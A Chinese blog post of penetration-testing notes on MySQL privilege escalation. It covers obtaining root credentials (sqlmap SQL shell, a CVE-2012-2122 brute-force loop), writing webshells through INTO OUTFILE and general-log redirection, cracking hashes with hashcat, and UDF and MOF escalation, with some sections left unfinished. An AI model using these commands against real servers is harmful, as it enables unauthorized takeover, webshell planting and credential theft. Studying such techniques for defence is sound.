Mysql提权
Mysql提权
前提条件
- 具有MySQL的root权限,且MySQL以system权限运行。
- 具有执行SQL语句的权限。
获取root密码的方法:
MySQL 3306 端口弱口令爆破
sqlmap 注入的
--sql-shell
模式使用条件:数据库开启了shell能执行命令
1
sqlmap -u www.xxxx/aboutus.php?id=1 --sql-shell
进入了交互式页面,输入 select host,user,password from mysql.user这条命令,可以查询数据库的用户和密码
网站的数据库配置文件中拿到明文密码信息
CVE-2012-2122 等这类漏洞直接拿下 MySQL 权限
Mysql 身份认证绕过漏洞(CVE-2012-2122),当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。官方说法是256次会成功一次
payload
1
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
Webshell权限
into oufile 写 shell
写shell条件
- 知道网站物理路径
- 高权限数据库用户
- load_file() 开启 即 secure_file_priv 无限制
- 网站路径有写入权限
首先基础语法查询是否 secure_file_priv 没有限制
1 | mysql> show global variables like '%secure_file_priv%'; |
不同value值对应
Value 说明 NULL 不允许导入或导出 /tmp 只允许在 /tmp 目录导入导出 空 不限制目录 在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
若value为空,即不限制目录时,可以使用原生SQL语句来写shell
1 | select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php'; |
sqlmap中做法
1 | sqlmap -u "http://x.x.x.x/?id=x" --file-write="/Users/guang/Desktop/shell.php" --file-dest="/var/www/html/test/shell.php" |
日志文件写shell
- Web 文件夹宽松权限可以写入
- Windows 系统下
- 高权限运行 MySQL 或者 Apache
MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell
1 | mysql> SHOW VARIABLES LIKE 'general%'; |
general_log
默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。
可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:
1 | # 更改日志文件位置 |
这里虽然可以成功写入,但是这个 info.php 是 MySQL 创建的 :
1 | -rw-rw---- 1 mysql mysql 293 Oct 31 21:15 info.php |
Apache 访问这个 php 文件会出现 HTTP 500 的状态码,结论是 root 系统这种情况基本上不会成功,只有在 Windows 系统下成功率会高一些,不过这里还是可以当做小知识点来学习记录。
Hash 获取与解密
获取
1 | # MySQL <= 5.6 版本 |
解密
在线网站来解密,如国内的 CMD5
也可以通过 Hashcat 来手动跑字典,基本上使用 GPU 破解的话也是可以秒破解的:
1 | hashcat -a 0 -m 300 --force '8232A1298A49F710DBEE0B330C42EEC825D4190A' password.txt -O |
-a 破解模式
指定要使用的破解模式,其值参考后面对参数
1 | - [ Attack Modes ] - |
-m 破解hash类型
指定要破解的hash类型,后面跟hash类型对应的数字,具体类型详见下表:
1 | 12 | PostgreSQL | Database Server |
–force
忽略破解过程中的警告信息
-O
--optimized-kernel-enable
启用优化的内核(限制密码长度
UDF提权
用户通过自定义函数,使得在SQL语句中调用新函数
信息收集
1 | select version(); # 获取数据库版本 |
动态链接库写入函数
- sqlmap 的 UDF 动态链接库文件位置(sqlmap的动态链接库需要使用自带解码工具cloak.py解码)
1 | sqlmap根目录/data/udf/mysql |
- Metasploit 的 UDF 动态链接库文件位置
1 | MSF 根目录/embedded/framework/data/exploits/mysql |
寻找插件目录
1 | mysql> show variables like '%plugin%'; |
写入动态数据库
坑,待补
MOF提权
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
- 标题: Mysql提权
- 作者: Sl0th
- 创建于 : 2022-07-08 21:53:59
- 更新于 : 2024-07-03 22:11:48
- 链接: http://sl0th.top/2022/07/08/Mysql提权/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。